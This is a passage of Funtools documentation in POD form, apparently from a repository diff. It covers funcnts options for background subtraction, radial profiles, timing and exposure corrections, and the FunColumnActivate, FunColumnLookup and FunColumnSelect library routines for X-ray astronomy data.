||||
region to produce the background-subtracted results for each source
|
||||
region. The B<-m> (match multiple backgrounds) switch tells
|
||||
B<funcnts> to make a one to one correspondence between background and
|
||||
source regions, instead of using a single combined background region.
|
||||
For example, the default case is to combine 2 background
|
||||
regions into a single region and then apply that region to each of the
|
||||
source regions:
|
||||
|
||||
|
||||
[sh] funcnts snr.ev "annulus(502,512,0,22,n=2)" "annulus(502,512,50,100,n=2)"
|
||||
# source
|
||||
# data file: snr.ev
|
||||
# degrees/pix: 0.00222222
|
||||
# background
|
||||
# data file: snr.ev
|
||||
# column units
|
||||
# area: arcsec**2
|
||||
# surf_bri: cnts/arcsec**2
|
||||
# surf_err: cnts/arcsec**2
|
||||
|
||||
# background-subtracted results
|
||||
reg net_counts error background berror area surf_bri surf_err
|
||||
---- ------------ --------- ------------ --------- --------- --------- ---------
|
||||
1 3101.029 56.922 136.971 1.472 23872.00 0.130 0.002
|
||||
2 725.375 34.121 418.625 4.500 72959.99 0.010 0.000
|
||||
|
||||
|
||||
# the following source and background components were used:
|
||||
source region(s)
|
||||
----------------
|
||||
annulus(502,512,0,22,n=2)
|
||||
|
||||
reg counts pixels
|
||||
---- ------------ ---------
|
||||
1 3238.000 373
|
||||
2 1144.000 1140
|
||||
|
||||
background region(s)
|
||||
--------------------
|
||||
annulus(502,512,50,100,n=2)
|
||||
|
||||
reg counts pixels
|
||||
---- ------------ ---------
|
||||
all 8656.000 23572
|
||||
|
||||
Note that the basic region filter rule "each photon is counted once
|
||||
and no photon is counted more than once" still applies when using The
|
||||
B<-m> to match background regions. That is, if two background
|
||||
regions overlap, the overlapping pixels will be counted in only one of
|
||||
them. In a worst-case scenario, if two background regions are the same
|
||||
region, the first will get all the counts and area and the second
|
||||
will get none.
|
||||
|
||||
|
||||
Using the B<-m> switch causes B<funcnts> to use each of the two
|
||||
background regions independently with each of the two source regions:
|
||||
|
||||
|
||||
[sh] funcnts -m snr.ev "annulus(502,512,0,22,n=2)" "ann(502,512,50,100,n=2)"
|
||||
# source
|
||||
# data file: snr.ev
|
||||
# degrees/pix: 0.00222222
|
||||
# background
|
||||
# data file: snr.ev
|
||||
# column units
|
||||
# area: arcsec**2
|
||||
# surf_bri: cnts/arcsec**2
|
||||
# surf_err: cnts/arcsec**2
|
||||
|
||||
# background-subtracted results
|
||||
reg net_counts error background berror area surf_bri surf_err
|
||||
---- ------------ --------- ------------ --------- --------- --------- ---------
|
||||
1 3087.015 56.954 150.985 2.395 23872.00 0.129 0.002
|
||||
2 755.959 34.295 388.041 5.672 72959.99 0.010 0.000
|
||||
|
||||
|
||||
# the following source and background components were used:
|
||||
source region(s)
|
||||
----------------
|
||||
annulus(502,512,0,22,n=2)
|
||||
|
||||
reg counts pixels
|
||||
---- ------------ ---------
|
||||
1 3238.000 373
|
||||
2 1144.000 1140
|
||||
|
||||
background region(s)
|
||||
--------------------
|
||||
ann(502,512,50,100,n=2)
|
||||
|
||||
reg counts pixels
|
||||
---- ------------ ---------
|
||||
1 3975.000 9820
|
||||
2 4681.000 13752
|
||||
|
||||
|
||||
|
||||
Note that most floating point quantities are displayed using "f"
|
||||
format. You can change this to "g" format using the B<-g>
|
||||
switch. This can be useful when the counts in each pixel is very
|
||||
small or very large. If you want maximum precision and don't care
|
||||
about the columns lining up nicely, use B<-G>, which outputs
|
||||
all floating values as %.14g.
|
||||
|
||||
|
||||
When counting photons using the annulus and panda (pie and annuli)
|
||||
shapes, it often is useful to have access to the radii (and panda
|
||||
angles) for each separate region. The B<-r> switch will add radii
|
||||
and angle columns to the output table:
|
||||
|
||||
|
||||
[sh] funcnts -r snr.ev "annulus(502,512,0,22,n=2)" "ann(502,512,50,100,n=2)"
|
||||
# source
|
||||
# data file: snr.ev
|
||||
# degrees/pix: 0.00222222
|
||||
# background
|
||||
# data file: snr.ev
|
||||
# column units
|
||||
# area: arcsec**2
|
||||
# surf_bri: cnts/arcsec**2
|
||||
# surf_err: cnts/arcsec**2
|
||||
# radii: arcsecs
|
||||
# angles: degrees
|
||||
|
||||
# background-subtracted results
|
||||
reg net_counts error background berror area surf_bri surf_err radius1 radius2 angle1 angle2
|
||||
---- ------------ --------- ------------ --------- --------- --------- --------- --------- --------- --------- ---------
|
||||
1 3101.029 56.922 136.971 1.472 23872.00 0.130 0.002 0.00 88.00 NA NA
|
||||
2 725.375 34.121 418.625 4.500 72959.99 0.010 0.000 88.00 176.00 NA NA
|
||||
|
||||
|
||||
# the following source and background components were used:
|
||||
source region(s)
|
||||
----------------
|
||||
annulus(502,512,0,22,n=2)
|
||||
|
||||
reg counts pixels
|
||||
---- ------------ ---------
|
||||
1 3238.000 373
|
||||
2 1144.000 1140
|
||||
|
||||
background region(s)
|
||||
--------------------
|
||||
ann(502,512,50,100,n=2)
|
||||
|
||||
reg counts pixels
|
||||
---- ------------ ---------
|
||||
all 8656.000 23572
|
||||
|
||||
|
||||
|
||||
Radii are given in units of pixels or arc-seconds (depending on the
|
||||
presence of WCS info), while the angle values (when present) are in
|
||||
degrees. These columns can be used to plot radial profiles. For
|
||||
example, the script B<funcnts.plot> in the funtools
|
||||
distribution) will plot a radial profile using gnuplot (version 3.7 or
|
||||
above). A simplified version of this script is shown below:
|
||||
|
||||
|
||||
#!/bin/sh
|
||||
|
||||
if [ x"$1" = xgnuplot ]; then
|
||||
if [ x`which gnuplot 2>/dev/null` = x ]; then
|
||||
echo "ERROR: gnuplot not available"
|
||||
exit 1
|
||||
fi
|
||||
awk '
|
||||
BEGIN{HEADER=1; DATA=0; FILES=""; XLABEL="unknown"; YLABEL="unknown"}
|
||||
HEADER==1{
|
||||
if( $1 == "#" && $2 == "data" && $3 == "file:" ){
|
||||
if( FILES != "" ) FILES = FILES ","
|
||||
FILES = FILES $4
|
||||
}
|
||||
else if( $1 == "#" && $2 == "radii:" ){
|
||||
XLABEL = $3
|
||||
}
|
||||
else if( $1 == "#" && $2 == "surf_bri:" ){
|
||||
YLABEL = $3
|
||||
}
|
||||
else if( $1 == "----" ){
|
||||
printf "set nokey; set title \"funcnts(%s)\"\n", FILES
|
||||
printf "set xlabel \" radius(%s)\"\n", XLABEL
|
||||
printf "set ylabel \"surf_bri(%s)\"\n", YLABEL
|
||||
print "plot \"-\" using 3:4:6:7:8 with boxerrorbars"
|
||||
HEADER = 0
|
||||
DATA = 1
|
||||
next
|
||||
}
|
||||
}
|
||||
DATA==1{
|
||||
if( NF == 12 ){
|
||||
print $9, $10, ($9+$10)/2, $7, $8, $7-$8, $7+$8, $10-$9
|
||||
}
|
||||
else{
|
||||
exit
|
||||
}
|
||||
}
|
||||
' | gnuplot -persist - 1>/dev/null 2>&1
|
||||
|
||||
elif [ x"$1" = xds9 ]; then
|
||||
awk '
|
||||
BEGIN{HEADER=1; DATA=0; XLABEL="unknown"; YLABEL="unknown"}
|
||||
HEADER==1{
|
||||
if( $1 == "#" && $2 == "data" && $3 == "file:" ){
|
||||
if( FILES != "" ) FILES = FILES ","
|
||||
FILES = FILES $4
|
||||
}
|
||||
else if( $1 == "#" && $2 == "radii:" ){
|
||||
XLABEL = $3
|
||||
}
|
||||
else if( $1 == "#" && $2 == "surf_bri:" ){
|
||||
YLABEL = $3
|
||||
}
|
||||
else if( $1 == "----" ){
|
||||
printf "funcnts(%s) radius(%s) surf_bri(%s) 3\n", FILES, XLABEL, YLABEL
|
||||
HEADER = 0
|
||||
DATA = 1
|
||||
next
|
||||
}
|
||||
}
|
||||
DATA==1{
|
||||
if( NF == 12 ){
|
||||
print $9, $7, $8
|
||||
}
|
||||
else{
|
||||
exit
|
||||
}
|
||||
}
|
||||
'
|
||||
else
|
||||
echo "funcnts -r ... | funcnts.plot [ds9|gnuplot]"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
|
||||
Thus, to run B<funcnts> and plot the results using gnuplot (version 3.7
|
||||
or above), use:
|
||||
|
||||
funcnts -r snr.ev "annulus(502,512,0,50,n=5)" ... | funcnts.plot gnuplot
|
||||
|
||||
|
||||
|
||||
The B<-s> (sum) switch causes B<funcnts> to produce an
|
||||
additional table of summed (integrated) background subtracted values,
|
||||
along with the default table of individual values:
|
||||
|
||||
|
||||
[sh] funcnts -s snr.ev "annulus(502,512,0,50,n=5)" "annulus(502,512,50,100)"
|
||||
# source
|
||||
# data file: snr.ev
|
||||
# degrees/pix: 0.00222222
|
||||
# background
|
||||
# data file: snr.ev
|
||||
# column units
|
||||
# area: arcsec**2
|
||||
# surf_bri: cnts/arcsec**2
|
||||
# surf_err: cnts/arcsec**2
|
||||
|
||||
# summed background-subtracted results
|
||||
upto net_counts error background berror area surf_bri surf_err
|
||||
---- ------------ --------- ------------ --------- --------- --------- ---------
|
||||
1 2880.999 54.722 112.001 1.204 19520.00 0.148 0.003
|
||||
2 3776.817 65.254 457.183 4.914 79679.98 0.047 0.001
|
||||
3 4025.492 71.972 1031.508 11.087 179775.96 0.022 0.000
|
||||
4 4185.149 80.109 1840.851 19.786 320831.94 0.013 0.000
|
||||
5 4415.540 90.790 2873.460 30.885 500799.90 0.009 0.000
|
||||
|
||||
|
||||
# background-subtracted results
|
||||
reg counts error background berror area surf_bri surf_err
|
||||
---- ------------ --------- ------------ --------- --------- --------- ---------
|
||||
1 2880.999 54.722 112.001 1.204 19520.00 0.148 0.003
|
||||
2 895.818 35.423 345.182 3.710 60159.99 0.015 0.001
|
||||
3 248.675 29.345 574.325 6.173 100095.98 0.002 0.000
|
||||
4 159.657 32.321 809.343 8.699 141055.97 0.001 0.000
|
||||
5 230.390 37.231 1032.610 11.099 179967.96 0.001 0.000
|
||||
|
||||
|
||||
# the following source and background components were used:
|
||||
source region(s)
|
||||
----------------
|
||||
annulus(502,512,0,50,n=5)
|
||||
|
||||
reg counts pixels sumcnts sumpix
|
||||
---- ------------ --------- ------------ ---------
|
||||
1 2993.000 305 2993.000 305
|
||||
2 1241.000 940 4234.000 1245
|
||||
3 823.000 1564 5057.000 2809
|
||||
4 969.000 2204 6026.000 5013
|
||||
5 1263.000 2812 7289.000 7825
|
||||
|
||||
background region(s)
|
||||
--------------------
|
||||
annulus(502,512,50,100)
|
||||
|
||||
reg counts pixels
|
||||
---- ------------ ---------
|
||||
all 8656.000 23572
|
||||
|
||||
|
||||
|
||||
The B<-t> and B<-e> switches can be used to apply timing and
|
||||
exposure corrections, respectively, to the data. Please note that
|
||||
these corrections are meant to be used qualitatively, since
|
||||
application of more accurate correction factors is a complex and
|
||||
mission-dependent effort. The algorithm for applying these simple
|
||||
corrections is as follows:
|
||||
|
||||
C = Raw Counts in Source Region
|
||||
Ac= Area of Source Region
|
||||
Tc= Exposure time for Source Data
|
||||
Ec= Average exposure in Source Region, from exposure map
|
||||
|
||||
B= Raw Counts in Background Region
|
||||
Ab= Area of Background Region
|
||||
Tb= (Exposure) time for Background Data
|
||||
Eb= Average exposure in Background Region, from exposure map
|
||||
|
||||
Then, Net Counts in Source region is
|
||||
|
||||
Net= C - B * (Ac*Tc*Ec)/(Ab*Tb*Eb)
|
||||
|
||||
with the standard propagation of errors for the Error on Net.
|
||||
The net rate would then be
|
||||
|
||||
Net Rate = Net/(Ac*Tc*Ec)
|
||||
|
||||
The average exposure in each region is calculated by summing up the
|
||||
pixel values in the exposure map for the given region and then
|
||||
dividing by the number of pixels in that region. Exposure maps often
|
||||
are generated at a block factor > 1 (e.g., block 4 means that each
|
||||
exposure pixel contains 4x4 pixels at full resolution) and
|
||||
B<funcnts> will deal with the blocking automatically. Using the
|
||||
B<-e> switch, you can supply both source and background exposure
|
||||
files (separated by ";"), if you have separate source and background
|
||||
data files. If you do not supply a background exposure file to go with
|
||||
a separate background data file, B<funcnts> assumes that exposure
|
||||
already has been applied to the background data file. In addition, it
|
||||
assumes that the error on the pixels in the background data file is
|
||||
zero.
|
||||
|
||||
|
||||
NB: The B<-e> switch assumes that the exposure map overlays the
|
||||
image file B<exactly>, except for the block factor. Each pixel in
|
||||
the image is scaled by the block factor to access the corresponding
|
||||
pixel in the exposure map. If your exposure map does not line up
|
||||
exactly with the image, B<do not use> the B<-e> exposure
|
||||
correction. In this case, it still is possible to perform exposure
|
||||
correction B<if> both the image and the exposure map have valid
|
||||
WCS information: use the B<-w> switch so that the transformation
|
||||
from image pixel to exposure pixel uses the WCS information. That is,
|
||||
each pixel in the image region will be transformed first from image
|
||||
coordinates to sky coordinates, then from sky coordinates to exposure
|
||||
coordinates. Please note that using B<-w> can increase the time
|
||||
required to process the exposure correction considerably.
|
||||
|
||||
|
||||
A time correction can be applied to both source and
|
||||
background data using the B<-t> switch. The value for the correction can
|
||||
either be a numeric constant or the name of a header parameter in
|
||||
the source (or background) file:
|
||||
|
||||
[sh] funcnts -t 23.4 ... # number for source
|
||||
[sh] funcnts -t "LIVETIME;23.4" ... # param for source, numeric for bkgd
|
||||
|
||||
When a time correction is specified, it is applied to the net counts
|
||||
as well (see algorithm above), so that the units of surface brightness
|
||||
become cnts/area**2/sec.
|
||||
|
||||
|
||||
The B<-i> (interval) switch is used to run B<funcnts> on multiple
|
||||
column-based intervals with only a single pass through the data. It is
|
||||
equivalent to running B<funcnts> several times with a different column
|
||||
filter added to the source and background data each time. For each
|
||||
interval, the full B<funcnts> output is generated, with a linefeed
|
||||
character (^L) inserted between each run. In addition, the output for
|
||||
each interval will contain the interval specification in its header.
|
||||
Intervals are very useful for generating X-ray hardness ratios
|
||||
efficiently. Of course, they are only supported when the input data
|
||||
are contained in a table.
|
||||
|
||||
|
||||
Two formats are supported for interval specification. The most general
|
||||
format is semi-colon-delimited list of filters to be used as intervals:
|
||||
|
||||
funcnts -i "pha=1:5;pha=6:10;pha=11:15" snr.ev "circle(502,512,22)" ...
|
||||
|
||||
Conceptually, this will be equivalent to running B<funcnts> three times:
|
||||
|
||||
funcnts snr.ev'[pha=1:5]' "circle(502,512,22)"
|
||||
funcnts snr.ev'[pha=6:10]' "circle(502,512,22)"
|
||||
funcnts snr.ev'[pha=11:15]' "circle(502,512,22)"
|
||||
|
||||
However, using the B<-i> switch will require only one pass through
|
||||
the data.
|
||||
|
||||
|
||||
Note that complex filters can be used to specify intervals:
|
||||
|
||||
funcnts -i "pha=1:5&&pi=4;pha=6:10&&pi=5;pha=11:15&&pi=6" snr.ev ...
|
||||
|
||||
The program simply runs the data through each filter in turn and generates
|
||||
three B<funcnts> outputs, separated by the line-feed character.
|
||||
|
||||
|
||||
In fact, although the intent is to support intervals for hardness ratios,
|
||||
the specified filters do not have to be intervals at all. Nor does one
|
||||
"interval" filter have to be related to another. For example:
|
||||
|
||||
funcnts -i "pha=1:5;pi=6:10;energy=11:15" snr.ev "circle(502,512,22)" ...
|
||||
|
||||
is equivalent to running B<funcnts> three times with unrelated filter
|
||||
specifications.
|
||||
|
||||
|
||||
A second interval format is supported for the simple case in which a
|
||||
single column is used to specify multiple homogeneous intervals for
|
||||
that column. In this format, a column name is specified first,
|
||||
followed by intervals:
|
||||
|
||||
funcnts -i "pha;1:5;6:10;11:15" snr.ev "circle(502,512,22)" ...
|
||||
|
||||
This is equivalent to the first example, but requires less typing. The
|
||||
B<funcnts> program will simply prepend "pha=" before each of the specified
|
||||
intervals. (Note that this format does not contain the "=" character in
|
||||
the column argument.)
|
||||
|
||||
|
||||
Ordinarily, when B<funcnts> is run on a FITS binary table (or a
|
||||
raw event table), one integral count is accumulated for each row
|
||||
(event) contained within a given region. The B<-v "scol[;bcol]">
|
||||
(value column) switch will accumulate counts using the value from the
|
||||
specified column for the given event. If only a single column is
|
||||
specified, it is used for both the source and background regions. Two
|
||||
separate columns, separated by a semi-colon, can be specified for source
|
||||
and background. The special token '$none' can be used to specify that
|
||||
a value column is to be used for one but not the other. For example,
|
||||
'pha;$none' will use the pha column for the source but use integral
|
||||
counts for the background, while '$none;pha' will do the converse.
|
||||
If the value column is of type logical, then the value used will be 1
|
||||
for T and 0 for F. Value columns are used, for example, to integrate
|
||||
probabilities instead of integral counts.
|
||||
|
||||
|
||||
If the B<-T> (rdb table) switch is used, the output will conform
|
||||
to starbase/rdb data base format: tabs will be inserted between
|
||||
columns rather than spaces and line-feed will be inserted between
|
||||
tables.
|
||||
|
||||
|
||||
Finally, note that B<funcnts> is an image program, even though it
|
||||
can be run directly on FITS binary tables. This means that image
|
||||
filtering is applied to the rows in order to ensure that the same
|
||||
results are obtained regardless of whether a table or the equivalent
|
||||
binned image is used. Because of this, however, the number of counts
|
||||
found using B<funcnts> can differ from the number of events found
|
||||
using row-filter programs such as B<fundisp> or B<funtable>
|
||||
For more information about these difference, see the discussion of
|
||||
Region Boundaries.
|
||||
|
||||
|
||||
|
||||
|
||||
=head1 SEE ALSO
|
||||
|
||||
|
||||
|
||||
See funtools(n) for a list of Funtools help pages
|
||||
|
||||
|
||||
=cut
|
|
@ -0,0 +1,239 @@
|
|||
=pod
|
||||
|
||||
=head1 NAME
|
||||
|
||||
|
||||
|
||||
B<FunColumnActivate - activate Funtools columns>
|
||||
|
||||
|
||||
|
||||
=head1 SYNOPSIS
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
#include <funtools.h>
|
||||
|
||||
void FunColumnActivate(Fun fun, char *s, char *plist)
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
=head1 DESCRIPTION
|
||||
|
||||
|
||||
|
||||
|
||||
The B<FunColumnActivate()> routine determines which columns (set up
|
||||
by FunColumnSelect())
|
||||
ultimately will be read and/or written. By default, all columns that
|
||||
are selected using
|
||||
FunColumnSelect()
|
||||
are activated. The
|
||||
FunColumnActivate()
|
||||
routine can be used to turn off/off activation of specific columns.
|
||||
|
||||
|
||||
The first argument is the Fun handle associated with this set of
|
||||
columns. The second argument is a space-delimited list of columns to
|
||||
activate or de-activate. Columns preceded by "+" are activated and
|
||||
columns preceded by a "-" are de-activated. If a column is named
|
||||
without "+" or "-", it is activated. The reserved strings "$region"
|
||||
and '$n' are used to activate a special columns containing the filter
|
||||
region value and row value, respectively, associated with
|
||||
this row. For example, if a filter containing two circular regions is
|
||||
specified as part of the Funtools file name, this column will contain
|
||||
a value of 1 or 2, depending on which region that row was in. The
|
||||
reserved strings "$x" and "$y" are used to activate the current
|
||||
binning columns. Thus, if the columns DX and DY are specified as
|
||||
binning columns:
|
||||
|
||||
[sh $] fundisp foo.fits[bincols=(DX,DY)]
|
||||
|
||||
then "$x" and "$y" will refer to these columns in a call to
|
||||
FunColumnActivate().
|
||||
|
||||
|
||||
In addition, if the activation string contains only columns to be
|
||||
activated, then the routine will de-activate all other columns.
|
||||
Similarly, if the activation string contains only
|
||||
columns to de-activate, then the routine will activate all other columns
|
||||
before activating the list. This makes it simple to change the
|
||||
activation state of all columns without having to know all of the
|
||||
column names. For example:
|
||||
|
||||
|
||||
=over 4
|
||||
|
||||
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
B<"pi pha time"> # only these three columns will be active
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
B<"-pi -pha -time"> # all but these columns will be active
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
B<"pi -pha"> # only pi is active, pha is not, others are not
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
B<"+pi -pha"> # same as above
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
B<"pi -pha -time"> # only pi is active, all others are not
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
B<"pi pha"> # pha and pi are active, all others are not
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
B<"pi pha -x -y"> # pha and pi are active, all others are not
|
||||
|
||||
|
||||
=back
|
||||
|
||||
|
||||
|
||||
|
||||
You can use the column activation list to reorder columns, since
|
||||
columns are output in the order specified. For example:
|
||||
|
||||
# default output order
|
||||
fundisp snr.ev'[cir 512 512 .1]'
|
||||
X Y PHA PI TIME DX DY
|
||||
-------- -------- -------- -------- --------------------- -------- --------
|
||||
512 512 6 7 79493997.45854475 578 574
|
||||
512 512 8 9 79494575.58943175 579 573
|
||||
512 512 5 6 79493631.03866175 578 575
|
||||
512 512 5 5 79493290.86521725 578 575
|
||||
512 512 8 9 79493432.00990875 579 573
|
||||
|
||||
# re-order the output by specifying explicit order
|
||||
fundisp snr.ev'[cir 512 512 .1]' "time x y dy dx pi pha"
|
||||
TIME X Y DY DX PI PHA
|
||||
--------------------- -------- -------- -------- -------- -------- --------
|
||||
79493997.45854475 512 512 574 578 7 6
|
||||
79494575.58943175 512 512 573 579 9 8
|
||||
79493631.03866175 512 512 575 578 6 5
|
||||
79493290.86521725 512 512 575 578 5 5
|
||||
79493432.00990875 512 512 573 579 9 8
|
||||
|
||||
|
||||
|
||||
A "+" sign by itself means to activate all columns, so that you can reorder
|
||||
just a few columns without specifying all of them:
|
||||
|
||||
# reorder 3 columns and then output the rest
|
||||
fundisp snr.ev'[cir 512 512 .1]' "time pi pha +"
|
||||
TIME PI PHA Y X DX DY
|
||||
--------------------- -------- -------- -------- -------- -------- --------
|
||||
79493997.45854475 7 6 512 512 578 574
|
||||
79494575.58943175 9 8 512 512 579 573
|
||||
79493631.03866175 6 5 512 512 578 575
|
||||
79493290.86521725 5 5 512 512 578 575
|
||||
79493432.00990875 9 8 512 512 579 573
|
||||
|
||||
The column activation/deactivation is performed in the order of the
|
||||
specified column arguments. This means you can mix "+", "-" (which
|
||||
de-activates all columns) and specific column names to reorder and
|
||||
select columns in one command. For example, consider the following:
|
||||
|
||||
# reorder and de-activate
|
||||
fundisp snr.ev'[cir 512 512 .1]' "time pi pha + -x -y"
|
||||
TIME PI PHA DX DY
|
||||
--------------------- -------- -------- -------- --------
|
||||
79493997.45854475 7 6 578 574
|
||||
79494575.58943175 9 8 579 573
|
||||
79493631.03866175 6 5 578 575
|
||||
79493290.86521725 5 5 578 575
|
||||
79493432.00990875 9 8 579 573
|
||||
|
||||
We first activate "time", "pi", and "pha" so that they are output first.
|
||||
We then activate all of the other columns, and then de-activate "x" and "y".
|
||||
Note that this is different from:
|
||||
|
||||
# probably not what you want ...
|
||||
fundisp snr.ev'[cir 512 512 .1]' "time pi pha -x -y +"
|
||||
TIME PI PHA Y X DX DY
|
||||
--------------------- -------- -------- -------- -------- -------- --------
|
||||
79493997.45854475 7 6 512 512 578 574
|
||||
79494575.58943175 9 8 512 512 579 573
|
||||
79493631.03866175 6 5 512 512 578 575
|
||||
79493290.86521725 5 5 512 512 578 575
|
||||
79493432.00990875 9 8 512 512 579 573
|
||||
|
||||
Here, "x" and "y" are de-activated, but then all columns including "x" and
|
||||
"y" are again re-activated.
|
||||
|
||||
|
||||
Typically,
|
||||
FunColumnActivate() uses a
|
||||
list of columns that are passed into the program from the command line. For
|
||||
example, the code for funtable contains the following:
|
||||
|
||||
char *cols=NULL;
|
||||
|
||||
/* open the input FITS file */
|
||||
if( !(fun = FunOpen(argv[1], "rc", NULL)) )
|
||||
gerror(stderr, "could not FunOpen input file: %s\n", argv[1]);
|
||||
|
||||
/* set active flag for specified columns */
|
||||
if( argc >= 4 ) cols = argv[3];
|
||||
FunColumnActivate(fun, cols, NULL);
|
||||
|
||||
|
||||
The FunOpen() call sets the
|
||||
default columns to be all columns in the input file. The
|
||||
FunColumnActivate() call
|
||||
then allows the user to control which columns ultimately will be
|
||||
activated (i.e., in this case, written to the new file). For example:
|
||||
|
||||
funtable test.ev foo.ev "pi pha time"
|
||||
|
||||
will process only the three columns mentioned, while:
|
||||
|
||||
funtable test.ev foo.ev "-time"
|
||||
|
||||
will process all columns except "time".
|
||||
|
||||
|
||||
If FunColumnActivate()
|
||||
is called with a null string, then the environment variable
|
||||
B<FUN_COLUMNS> will be used to provide a global value, if present.
|
||||
This is the reason why we call the routine even if no columns
|
||||
are specified on the command line (see example above), instead
|
||||
of calling it this way:
|
||||
|
||||
/* set active flag for specified columns */
|
||||
if( argc >= 4 ){
|
||||
FunColumnActivate(fun, argv[3], NULL);
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
=head1 SEE ALSO
|
||||
|
||||
|
||||
|
||||
See funtools(n) for a list of Funtools help pages
|
||||
|
||||
|
||||
=cut
|
|
@ -0,0 +1,188 @@
|
|||
=pod
|
||||
|
||||
=head1 NAME
|
||||
|
||||
|
||||
|
||||
B<FunColumnLookup - lookup a Funtools column>
|
||||
|
||||
|
||||
=head1 SYNOPSIS
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
#include <funtools.h>
|
||||
|
||||
int FunColumnLookup(Fun fun, char *s, int which,
|
||||
char **name, int *type, int *mode,
|
||||
int *offset, int *n, int *width)
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
=head1 DESCRIPTION
|
||||
|
||||
|
||||
|
||||
|
||||
The B<FunColumnLookup()> routine returns information about a named
|
||||
(or indexed) column. The first argument is the Fun handle associated
|
||||
with this set of columns. The second argument is the name of the
|
||||
column to look up. If the name argument is NULL, the argument that
|
||||
follows is the zero-based index into the column array of the column
|
||||
for which information should be returned. The next argument is a
|
||||
pointer to a char *, which will contain the name of the column. The
|
||||
arguments that follow are the addresses of int values into which
|
||||
the following information will be returned:
|
||||
|
||||
|
||||
=over 4
|
||||
|
||||
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
B<type>: data type of column:
|
||||
|
||||
|
||||
=over 4
|
||||
|
||||
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
A: ASCII characters
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
B: unsigned 8-bit char
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
I: signed 16-bit int
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
U: unsigned 16-bit int (not standard FITS)
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
J: signed 32-bit int
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
V: unsigned 32-bit int (not standard FITS)
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
E: 32-bit float
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
D: 64-bit float
|
||||
|
||||
|
||||
=back
|
||||
|
||||
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
B<mode>: bit flag status of column, including:
|
||||
|
||||
|
||||
=over 4
|
||||
|
||||
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
COL_ACTIVE 1 is column activated?
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
COL_IBUF 2 is column in the raw input data?
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
COL_PTR 4 is column a pointer to an array?
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
COL_READ 010 is read mode selected?
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
COL_WRITE 020 is write mode selected?
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
COL_REPLACEME 040 is this column being replaced by user data?
|
||||
|
||||
|
||||
=back
|
||||
|
||||
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
B<offset>: byte offset in struct
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
B<n>: number of elements (i.e. size of vector) in this column
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
B<width>: size in bytes of this column
|
||||
|
||||
|
||||
=back
|
||||
|
||||
|
||||
If the named column exists, the routine returns a positive integer,
|
||||
otherwise zero is returned. (The positive integer is the index+1 into
|
||||
the column array where this column was located.)
|
||||
|
||||
If NULL is passed as the return address of one (or more) of these
|
||||
values, no data is passed back for that information. For
|
||||
example:
|
||||
|
||||
if( !FunColumnLookup(fun, "phas", 0, NULL NULL, NULL, NULL, &npha, NULL) )
|
||||
gerror(stderr, "can't find phas column\n");
|
||||
|
||||
only returns information about the size of the phas vector.
|
||||
|
||||
|
||||
|
||||
|
||||
=head1 SEE ALSO
|
||||
|
||||
|
||||
|
||||
See funtools(n) for a list of Funtools help pages
|
||||
|
||||
|
||||
=cut
|
|
@ -0,0 +1,686 @@
|
|||
=pod
|
||||
|
||||
=head1 NAME
|
||||
|
||||
|
||||
|
||||
B<FunColumnSelect - select Funtools columns>
|
||||
|
||||
|
||||
=head1 SYNOPSIS
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
#include <funtools.h>
|
||||
|
||||
int FunColumnSelect(Fun fun, int size, char *plist,
|
||||
char *name1, char *type1, char *mode1, int offset1,
|
||||
char *name2, char *type2, char *mode2, int offset2,
|
||||
...,
|
||||
NULL)
|
||||
|
||||
int FunColumnSelectArr(Fun fun, int size, char *plist,
|
||||
char **names, char **types, char **modes,
|
||||
int *offsets, int nargs);
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
=head1 DESCRIPTION
|
||||
|
||||
|
||||
|
||||
The B<FunColumnSelect()> routine is used to select the columns
|
||||
from a Funtools binary table extension or raw event file for
|
||||
processing. This routine allows you to specify how columns in a file
|
||||
are to be read into a user record structure or written from a user
|
||||
record structure to an output FITS file.
|
||||
|
||||
|
||||
The first argument is the Fun handle associated with this set of
|
||||
columns. The second argument specifies the size of the user record
|
||||
structure into which columns will be read. Typically, the sizeof()
|
||||
macro is used to specify the size of a record structure. The third
|
||||
argument allows you to specify keyword directives for the selection
|
||||
and is described in more detail below.
|
||||
|
||||
|
||||
Following the first three required arguments is a variable length list of
|
||||
column specifications. Each column specification will consist of four
|
||||
arguments:
|
||||
|
||||
|
||||
=over 4
|
||||
|
||||
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
B<name>: the name of the column
|
||||
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
B<type>: the data type of the column as it will be stored in
|
||||
the user record struct (not the data type of the input file). The
|
||||
following basic data types are recognized:
|
||||
|
||||
|
||||
=over 4
|
||||
|
||||
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
A: ASCII characters
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
B: unsigned 8-bit char
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
I: signed 16-bit int
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
U: unsigned 16-bit int (not standard FITS)
|
||||
